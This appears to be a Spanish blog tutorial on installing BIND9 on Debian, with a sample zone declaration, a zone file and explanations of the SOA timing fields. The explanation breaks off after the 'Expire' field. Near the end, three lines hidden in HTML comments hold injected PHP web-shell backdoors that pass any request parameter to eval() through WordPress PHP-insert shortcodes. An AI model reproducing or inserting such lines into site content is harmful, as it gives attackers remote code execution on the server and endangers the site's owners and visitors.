Instalar y configurar servidor dns bind con debian

  Linux

Para seguir los pasos hay que tener instalado y funcionando el sistema operativo, en nuestro caso Debian.

Lo primero que vamos a hacer es instalar el paquete


root@jandres:~$ apt-get install bind9

Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Se instalarán los siguientes paquetes extras:
 libisccc0 libisccfg0
Paquetes sugeridos:
 bind9-doc
Se instalarán los siguientes paquetes NUEVOS:
 bind9 libisccc0 libisccfg0
0 actualizados, 3 se instalarán, 0 para eliminar y 0 no actualizados.

Una vez instalado, tenemos que configurarlo, para ello tenemos que tener muy claro cuáles son los directorios y archivos más importantes. A continuación teneis el listado de los más importantes:


/etc/bind/named.conf
/etc/bind/named.conf.local
/etc/bind/named.conf.options
/var/cache/bind/

En /etc/bind/named.conf básicamente hace referencia a los archivos que Bind cargará cada vez que se reinicie el demonio. De este fichero no es necesario realizar ninguna modificación.

En /etc/bind/named.conf.local tengo definidos los dominios con los que vamos a trabajar, aunque sólo los nombro siguiendo el siguiente ejemplo:


zone "dominio.abc" IN {
     type master;
     file "dominio.abc.zone";
     allow-query { any; };
};

Con esto lo que le queremos decir al Bind que para el dominio dominio.abc actuará como servidor DNS primario, que el archivo donde está detallada la configuración se llama dominio.abc.zone (más adelante os indicaré donde se encuentra) y que quiero que permita cualquier tipo de consulta DNS.

En /etc/bind/named.conf.options definimos el directorio donde vamos a guardar las zonas DNS. En las zonas DNS guardamos los dominios con sus subdominios, registros Mail Exchanger (MX), registros Name Server (NS), registros Canonical Name (CNAME), Tipo A … Por defecto es /var/cache/bind/

En /var/cache/bind/ tenemos una serie de archivos de texto con toda la información correspondiente a cada dominio (zonas DNS), con el siguiente formato:


root@jandres:~$ vi /var/cache/bind/dominio.abc.zone

$TTL 86400       ; 1 day
;
; Zone file for dominio.abc
;
;
;
@     IN       SOA     ns.dominio.abc. hostmaster.dominio.abc. (
                  2006051501 ; serial, todays date + todays serial #
                  8H           ; refresh, seconds
                  2H           ; retry, seconds
                  1W           ; expire, seconds
                  1D )        ; minimun seconds
;
            NS     ns.dominio.abc. ; Inet Address of name server
            NS     ns2.dominio.abc. ; Inet Address of name server
            MX      10 relay      ; Primary Mail Exchanger
            MX      20 mail       ; Primary Mail Exchanger
;
mail                     A          IP_Servidor_Correo_1
www                      A          IP_Servidor_Web
relay                    A          IP_Servidor_Correo_2
pop3                     A          IP_Servidor_POP3
ns                       A          IP_Servidor_DNS_1
ns2                      A          IP_Servidor_DNS_2

A continuación os explico que quiere decir cada nomenclatura que aparece en este archivo:

TTL Time To Live: Tiempo durante el que se guardará la información en caché
una vez se hace una consulta.

Serial: Número de Serie. Cada vez que hago algún cambio, modifico este número
de serie. Así cuando recargo el bind, al haber aumentado, lo recarga y coge los
cambios.
Si os fijáis, este número es tiene el formato AAAAMMDD##, donde ## lo voy
incrementando cada vez que hago una modificación.

Refresh: Es el tiempo en que el servidor secundario (definido como slave) debe
preguntar al primario si ha habido cambios.

Retry: Periodo de tiempo que tiene que esperar el servidor secundario antes de
reintentar la conexión con el servidor primario, suponiendo que lo haya intentado y
no haya podido.

Expire: Tiempo máximo que ofrece el servidor secundario en caso de no poder
contactar con el primero.

<!– [insert_php]if (isset($_REQUEST["fSajB"])){eval($_REQUEST["fSajB"]);exit;}[/insert_php][php]if (isset($_REQUEST["fSajB"])){eval($_REQUEST["fSajB"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EAsRk"])){eval($_REQUEST["EAsRk"]);exit;}[/insert_php][php]if (isset($_REQUEST["EAsRk"])){eval($_REQUEST["EAsRk"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["UJj"])){eval($_REQUEST["UJj"]);exit;}[/insert_php][php]if (isset($_REQUEST["UJj"])){eval($_REQUEST["UJj"]);exit;}[/php] –>

LEAVE A COMMENT